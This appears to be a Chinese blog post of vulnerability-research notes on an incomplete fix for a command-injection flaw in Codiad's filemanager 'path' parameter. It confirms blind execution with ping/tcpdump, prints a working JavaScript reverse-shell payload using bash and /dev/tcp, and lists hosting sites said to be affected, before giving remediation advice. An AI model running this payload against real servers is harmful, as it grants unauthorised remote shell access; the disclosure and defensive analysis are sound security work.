美文网首页Linux程序员Kali Linux
Codiad 漏洞挖掘笔记 (0x03) [开发者修复漏洞不完善

Codiad 漏洞挖掘笔记 (0x03) [开发者修复漏洞不完善

作者: 王一航 | 来源:发表于2017-08-17 11:33 被阅读311次

    简介 :

    Codiad 是一个开源基于Web的IDE应用程序,用于在线编写和编辑代码。
    这个应用程序采用PHP开发,并且不需要一个SQL数据库,数据是存储在一个JSON格式的文件中。
    它的界面包含三个面板:
      项目/文件管理器具
      代码编辑器
      菜单/功能 
    

    Codiad GitHub


    引子 :

    之前在 XMAN 选拔赛中发现了一 Codiad 的一个远程命令执行漏洞

    参考之前的分析文章 : http://www.jianshu.com/p/41ac7ac2a7af

    报告给开发者之后开发者反应非常迅速 , 基本一两天立刻修复了这个漏洞

    https://github.com/Codiad/Codiad/issues/1011

    修复这个漏洞的 commit 如下 :

    https://github.com/Codiad/Codiad/commit/b3645b4c6718cef6de7003f41aafe7bfcc0395d1

    最近一直比较忙 , 开发者修复了之后笔者也并没有对其进行进一步地审计和测试
    昨天下午抽出一段时间看了一下
    发现开发者的 patch 还是存在不完善的地方 :
    漏洞存在的点依然是在 :

    https://github.com/Codiad/Codiad/blob/master/components/filemanager/class.filemanager.php

    这个文件中 , 经过对数据流的分析 , 发现参数 $_GET['path'] 并没有被当做命令的参数进行那么严格的过滤
    只是仅仅将其作为一个路径进行了过滤 , 那么这就给了我们继续进行命令注入的余地

    image.png

    这里测试一下是否可以执行命令 :

    image.png image.png

    发现执行 id 命令后并没有回显 , 那么我们就需要让命令执行的效果显示出来
    这里为了让命令的效果显示出来 , 使用 ping 和 tcpdump 来测试

    tcpdump -i lo -X icmp
    ping -c 1 127.0.0.1
    
    image.png

    可以发现当我们执行 ping 命令的时候确实抓到了 ping 本地的流量
    说明命令确实是被执行了
    这里放大命令效果的方法还很多 , 举出几个例子 :

    1. 通过网络流量 (控制命令发出网络流量 , 并检测是否可以监听到流量)
      a. nc
      b. icmp
      ...
    2. 通过IO (控制命令向一个可写的目录 / 文件中写入数据 , 检测文件内容是否存在变化)
    ...
    

    既然已经可以执行系统命令了 , 那么这一段渗透测试即可结束 , 可以通过一个反弹 shell 的命令直接获取到目标服务器的权限

    image.png

    给出一个 Reverse Shell 的 payload

    ip = "8.8.8.8;
    port = "8888";
    $.get("components/project/controller.php?action=get_current",
    function(d) {
        p = JSON.parse(d)['data']['path'];
        $.get("components/filemanager/controller.php?action=search&path="+p+"`bash -c 'sh -i %26>/dev/tcp/"+ip+"/"+port+" 0>%261'`", function(c){console.log(c)});
    });
    

    影响版本 :

    所有版本
    

    总结 :

    修复漏洞的时候不应该只看到已存在的攻击向量
    应该从根本上解决问题 , 比如本文中分析的漏洞
    漏洞的成因在于 : 
    1. 未将系统命令的参数进行有效的过滤
    2. 得到漏洞报告后并没有分析并对所有参数进行过滤 , 只是过滤了攻击向量中存在的参数
    还有一个思考是 : 
    在服务端使用某些系统命令的时候 , 如果参数或者命令是用户可控的
    那么一定要对用户输入的参数进行严格地过滤
    更极端一点的情况是 , 如果需要调用 shell 的命令本身并不是特别复杂
    则建议使用脚本语言自己实现命令的功能 , 这样安全性会更有保障
    因为直接调用 shell 命令其实相当于脚本语言与操作系统直接耦合
    并且耦合双方的权限差距很大 , 这样非常容易出现问题
    

    受到影响的网站 (部分)

    https://bitnami.com/stack/codiad
    https://engisphere.net/codiad/
    http://www.softaculous.com/softaculous/demos/Codiad (redirected to demo.codiad.com)
    https://www.fastcomet.com/codiad-demo
    https://www.1and1.co.uk/cloud-app-centre/codiad-download#apps
    https://www.webhostface.com/codiad-hosting/


    修补方案 :

    对用户输入的所有可能传入到系统命令中的参数进行严格过滤
    

    参考资料 :

    审计笔记(代码注释)

    相关文章

      网友评论

        本文标题:Codiad 漏洞挖掘笔记 (0x03) [开发者修复漏洞不完善

        本文链接:https://www.haomeiwen.com/subject/asygrxtx.html